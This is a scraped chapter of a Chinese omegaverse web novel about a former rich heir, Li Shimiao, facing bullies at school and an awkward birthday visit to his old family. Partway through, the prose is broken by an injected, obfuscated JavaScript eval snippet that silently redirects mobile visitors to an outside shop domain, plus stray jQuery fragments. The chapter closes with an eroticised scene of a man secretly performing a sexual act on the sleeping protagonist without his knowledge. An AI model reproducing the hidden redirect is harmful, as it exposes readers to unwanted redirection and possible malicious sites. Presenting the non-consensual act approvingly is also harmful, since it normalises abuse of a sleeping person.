文趣网 > 都市小说 > 貌美beta是假少爷 > 3. 第 3 章
    下午最后一节课结束后,梁昱没有像往常一样收拾书包,而是坐在座位上不动。

    李时缪看了他一眼:“不走?”

    梁昱犹豫了一下,小声说:“瞿枫约我放学后去学校后操场。”

    李时缪皱眉:“他又想干嘛?”

    “不知道。”梁昱的脸色有点白,“但肯定是找麻烦。”

    “那你还要去?”

    “不去的话,他明天会在更多人面前找我麻烦。”梁昱说,“至少现在我身上有徐哥的信息素,我去了他不敢怎么样的。”

    “我在旁边等你。”李时缪说,“万一有什么事,我能帮你叫人。”

    梁昱点了点头。

    放学后,林宝珠先走了,她是个omega,跟着也帮不了他们什么,还会被信息素影响。

    李时缪跟着梁昱出了教学楼,往后操场的方向走。

    育英学院的后操场在学校的最后面,挨着一片小树林。平时没什么人去,地面坑坑洼洼的,草长得乱七八糟。

    操场边上有一排废弃的健身器材,生满了锈。

    梁昱走到操场中央站定深吸了口气,然后抬手撕掉了后颈上的阻隔贴。

    李时缪站在远处的一棵树后面,隔着二十多步的距离看着。

    没多久操场另一头走来五六个人。

    打头的是瞿枫,一米八几的个子,留着寸头,一看就不是好惹的。他身后跟着几个同样流里流气的学生,有的叼着烟,有的把校服搭在肩上。

    他们走到距离梁昱还有七八步的时候,忽然停住了。

    李时缪看见瞿枫的脸色变了。

    从轻蔑变成疑惑,从疑惑变成警惕,最后变成恐惧。

    他身后的几个人也是一样,有两个人甚至后退了一步,就好像被什么东西挡住了去路。

    瞿枫站在原地,盯着梁昱,眼神凶狠,但脚步没有再往前挪一步。

    “谁给你的标记?”

    梁昱站在那里,后背挺得笔直,李时缪知道他是装的,他看见梁昱的手在发抖。

    但梁昱的声音很稳:“你觉得什么人会标记beta?”

    瞿枫没说话。

    “当然是我对象。”梁昱说。

    这句话说出来的瞬间,李时缪觉得空气都安静了几秒。

    瞿枫的表情扭曲了一下,他的拳头握紧了又松开,松开了又握紧。

    “……行。”瞿枫咬着牙,“我倒要看看,那家伙能护你多久。”

    说完他转身就带着那几个人走了。

    他们的背影看起来有点狼狈,像几条夹着尾巴逃跑的狗。

    梁昱站在原地没动。

    李时缪走到梁昱面前,才发现他整张脸都是白的。

    “你还好吧?”李时缪扶了他一把。

    梁昱靠着他,腿一软差点坐在地上,他大口大口地喘气,过了好一会儿才缓过来。

    “……有用。”梁昱的声音还是有点抖,“真的有用,他们闻到那个味道就不敢动了。”

    李时缪把梁昱扶到旁边干净点的地方,梁昱坐在台阶上缓了一会儿,脸色才慢慢恢复正常。

    “那个徐哥,”李时缪在他旁边坐下来,装作随意问道,“你是怎么跟他说的?”

    梁昱愣了下:“说什么?”

    “就是……让他给你临时标记,你怎么开口的?”

    梁昱的脸一下就红了,他支支吾吾了半天才挤出一句话:“就……就直接说的啊。”

    “怎么说的?”

    “我就说有人欺负我,问徐哥能不能帮我一个忙?说我想借他的信息素用一下。”梁昱的声音越来越小,脸越来越红,“然后他就问我怎么回事,我就把瞿枫的事跟他说了,他就说行,然后就……”

    “就答应了?”李时缪接道。

    “嗯。”梁昱点头,“他还说下次要是还有人欺负我,就让我直接去找他。”

    李时缪沉默了几秒。

    就这么简单?他去求一个alpha,对方就答应了?

    “他跟你哥不是朋友吗?”李时缪问,“是看在你哥的面子上?”

    梁昱摇了摇头:“我哥又不待见我,徐哥要是看他的面子,根本不会理我。”

    “那他是……”

    “他就是人好。”梁昱害羞笑道,“徐哥跟那些alpha不一样,他不觉得beta低人一等,也不觉得帮beta丢人。”

    李时缪没再问了。

    梁昱能求到徐琛,是因为徐琛人好。

    他认识的那些alpha里有这么好说话的人吗?

    李时缪想到这里忽然有点烦躁。

    他站起来拍了拍裤子上的灰:“走吧,回去了。”

    *

    李时缪的生日在周五,但温家把正宴定在了周六。

    祝云青希望他周五就回温家,说想提前给他们小过一下,李时缪答应了。

    温家庄园在京市最金贵的地段,周围住的全是有权有势的人,公交和出租车都进不去。

    祝云青说派车来接他,李时缪也没拒绝。

    周五放学,他走出校门,一眼就看见路边那辆熟悉的库里南。

    司机站在车旁,穿着笔挺的制服,看见他就拉开了后车门。

    李时缪顿了一下。

    以前这辆车专门用来接送他,他从来都是直接坐上去,现在他站在车门边,竟然有点犹豫。

    他弯腰坐进车里,皮革的味道扑面而来,熟悉的带着一点甜香的车载香氛。

    他以前闻惯了,从来没觉得有什么特别,现在却觉得鼻子有点酸。

    车子启动,驶离校门。

    李时缪透过隐私车窗往外看,正好看见路边公交站台下站着几个等车的学生,其中有人指着他的方向在说什么。

    他收回视线时无意中扫到一个熟悉的身影。

    段星燃站在站台另一边,目光恰好也落在他这边。

    隔着深色的车窗玻璃,李时缪不确定他是否看见了自己,但他还是下意识地坐直了身体,又觉得自己这个反应莫名其妙,于是又靠了回去。

    车子拐过路口,段星燃的身影消失了。

    一个多小时后,库里南驶入温家庄园,首先映入眼帘的是大片花园。

    深秋的花园不像春夏那样热闹,但仍有几丛晚开的月季在路灯下泛着暗红色的光泽。

    李时缪以前很喜欢这片花园,他喜欢花,喜欢满园的花香。

    现在车子从花丛边驶过,他闻到那股熟悉的甜香,心里说不上是什么滋味。

    祝云青已经等在主楼门口了。

    她穿着一件浅灰色的开衫,头发披在肩上,看起来也比三个月前瘦了一些。

    李时缪下车,她快步走上前,伸手给了他一个拥抱。

    “瘦了这么多。”祝云青的手掌贴着他的后背,“是不是没好好吃饭?”

    李时缪垂下眼,轻声说:“吃了。”

    “吃了能瘦成这样?”祝云青松开他,捧着他的脸左看右看,眉头都皱了起来。

    李时缪站在那里,任由她打量。

    他注意到祝云青的眼圈有点红,但眼泪没有掉下来。

    这时身后传来汽车引擎声,一辆白色宾利停稳,温嘉澍从车上下来。

    他穿着私立名校的深蓝色校服,整个人干净又斯文。

    祝云青马上就松开了李时缪,转身朝温嘉澍走过去,先是给了他一个拥抱,然后还在他脸颊上轻轻亲了一下。

    “今天上学累不累?”祝云青的声音温柔得不像话。

    “不累。”温嘉澍笑了笑,目光越过祝云青的肩膀看向李时缪,礼貌地问候了一句:“你来了。”

    李时缪点头。

    这时他看见温斯夜从驾驶座下来。

    温斯夜穿着一件黑色的薄外套,身高超过一米九,他的视线在李时缪脸上停了不到一秒就移开了。

    李时缪没想到今天温斯夜也回来了,还特意去接温嘉澍。

    他记得第一学院规矩森严,要求学生全员住校,连假期安排都和别的学校不同。

    温斯夜从高中就开始住校,就开始很少回家,进入第一学院后,回家的次数就更少了。

    不知道从什么时候起,李时缪一年到头也见不到他几面。

    他还曾经跟朋友抱怨过,觉得他和温斯夜根本不像亲兄弟。

    结果一语成谶,他们还真不是亲兄弟。

    李时缪总觉得血缘这东西说不定真有讲究,不然温斯夜对待温嘉澍的态度为什么和自己完全不同?

    祝云青对待温斯夜,不像对另外两个孩子那样又是拥抱又是亲昵,只是温声打了招呼。

    温斯夜不喜欢这些,他好像打心底里厌恶任何形式的亲密接触。

    “哥。”李时缪还是开口喊了一声。

    温斯夜淡淡应了一句。

    晚餐的餐桌摆得满满当当:清蒸帝王蟹、蒜蓉龙虾、香煎和牛、鲍鱼花胶汤……二十多道菜,中央还摆着一个精致的蛋糕。

    李时缪坐下,拿起筷子,夹了一块和牛放进嘴里。

    肉质嫩滑,油脂的香气在口腔里散开。

    他已经三个月没吃过这么好吃的东西了。

    又吃了一块,再吃一块。

    他的筷子越动越快,眼圈也慢慢泛红。

    他低着头,拼命把涌上来的酸意压回去。

    对面的温斯夜抬起头看了他一眼,李时缪并没有发觉。

    餐桌上大家聊着明天生日宴的安排。

    祝云青说请了哪家酒店来操办,温守赐说哪些世家的家主会来。

    温嘉澍安静地听着,偶尔点头。

    话题自然而然地围绕着温嘉澍转,他喜欢什么花,宴会的花艺要按他的喜好来,他有没有特别想请的朋友,温家可以单独发请柬。

    李时缪低头吃饭,没有说话。

    他知道这场宴会的主角是温嘉澍,而他只是顺便回来,在顺便过一个生日。

    在亲儿子面前,假儿子的心情好像也显得不那么重要了。

    饭后,管家领他上楼。

    李时缪以前住的那间朝南的大卧室已经给了温嘉澍,他现在被安排在三楼另一侧的房间,以前是空置的客房。

    房间不大,但床品都是新的,摸上去柔

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621085|206173||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    软光滑。

    李时缪站在窗前,看着楼下的小花园。

    那些花还在,以前他住在这里的时候,每天早上都会推开露台的门,看看哪朵花开了。

    手机震动了一下。

    他掏出来看,是梁昱发来的消息:明天生日宴,要不要我们过去陪你?

    李时缪回:不用。

    梁昱:好吧,那你要过得开心点哦。

    李时缪盯着屏幕,不知道该回什么,最后只回了个:恩。

    他放下手机去洗澡。

    热水冲在身上,浴室里弥漫着沐浴露的香气。

    是他以前用惯的那个牌子,不知道是祝云青特意准备的,还是管家随手放的。

    洗漱完从浴室出来,门外传来管家的敲门声。

    “时缪少爷,夫人让我给您送杯牛奶。”

    李时缪打开门,接过那杯温热的牛奶。

    他对管家说了一声谢谢,管家明显愣了一下,才回了一句:“少爷不必客气。”

    从前的李时缪不会对家里的佣人说谢谢,因为所有人都告诉他,你是少爷,他们伺候你是应该的。

    现在他说了谢谢,也难怪管家会这样意外。

    关上门,他慢慢喝完了那杯牛奶。

    其实他没有睡前喝牛奶的习惯,但今晚他不想浪费。因为这杯牛奶是祝云青让人送的,而他现在已经没有资格浪费她给的任何东西了。

    牛奶喝完,他去漱了口,然后躺上床。

    床垫很软,被子很蓬松,枕头的高度也刚刚好。

    他闭着眼睛,身体陷进柔软的被褥里,三个月来第一次觉得骨头是松的。

    意识渐渐模糊。

    他睡着了。

    房间里很安静,窗外有风吹过花园,月季的枝条刮在玻璃上,发出细碎的沙沙声。

    月光从窗帘的缝隙里渗进来,在地板上画出一道细长的白线。

    那道白线慢慢地移动,从地板爬上了床尾,照亮了被角的一小块区域。

    李时缪睡得很沉,他的呼吸均匀而平稳,脸颊埋在枕头里,一只手伸在被子外面。

    深夜。

    房间的门把手转动了。

    很慢,金属摩擦的声音被控制在最小。

    门被推开了一条缝,然后慢慢变大。

    一个人走了进来。

    他反手关上门,门锁咔哒一声合上。

    那个人在门边站了一会儿,目光落在床上那团隆起的被子上。

    月光从窗帘缝隙里渗进来,照不到他的脸,只能看见他身形高而挺拔,肩线宽阔。

    他朝床边走去。

    脚步无声,地毯吞掉了所有的声响。

    他走到床边,低头看着熟睡中的人。

    李时缪侧躺着,一只手露在被子外面,手指微微蜷着,月光正好落在他那只手上,皮肤白得近乎透明。

    那个人慢慢在床沿坐了下来,他伸出手碰到了李时缪的指尖。

    停了几秒,然后慢慢握住了李时缪整只手掌。

    他的动作极轻极缓,像在触碰一件易碎的珍宝。

    他先是把手掌覆上去,掌心贴着掌心,感受那只手的温度和柔软。然后他的指腹开始慢慢地摩挲,从掌心到指根,从指根到指节,一寸一寸地碾过去。

    李时缪的手生得十分好看,手掌的肌肤细腻软嫩,手指纤细修长,指甲透着淡淡的粉晕,干净又漂亮。骨节不突出,线条流畅,整只手像一块温润的玉。

    那个人把这只手翻了过来,看着手背上隐隐可见的青蓝色血管,他的指腹沿着血管的走向轻轻滑过,动作里带着一种贪婪。

    他开始把玩李时缪的手指。

    一根一根地,从拇指到小指。他把每一根手指都捏在指腹之间,用拇指摩挲指缝间的嫩肉。

    他的呼吸变得重了一些。

    但他控制住了。

    他抬起头,目光从手移到李时缪的脸上。

    李时缪睡得很沉,嘴唇微微张着,睫毛在眼底投下一小片扇形的阴影。

    明明是个beta,却拥有这样一副精致艳丽的容貌,让人想要疼爱他,又想要狠狠欺负他。

    那个人的目光钉在他脸上,再也移不开。

    他深深地凝视着,从嘴唇再沿着脖颈一路往下,看到被子遮住的地方。

    他的眼神里翻涌着某种晦暗的压抑了很久的东西,就像是饥饿的人看着食物,亦或是渴了很久的人看见水。

    他慢慢俯下身。

    他的脸离李时缪的脸越来越近,近到能感受到对方呼吸的温度。

    他停在那里,悬在李时缪的上方,没有落下去。

    保持了这个姿势很久。

    然后他退开了。

    他重新握住李时缪的手,把那只手拉了过来……

    良久,他深喘了一声,松开了那只手。

    之后他悄无声息整理好一切,仿佛什么都没发生般站起了身。

    门开了又关,房间里重新归于沉寂。

    李时缪翻了个身,被子裹着他的肩膀,他的呼吸依然平稳而均匀。

    他什么都不知道。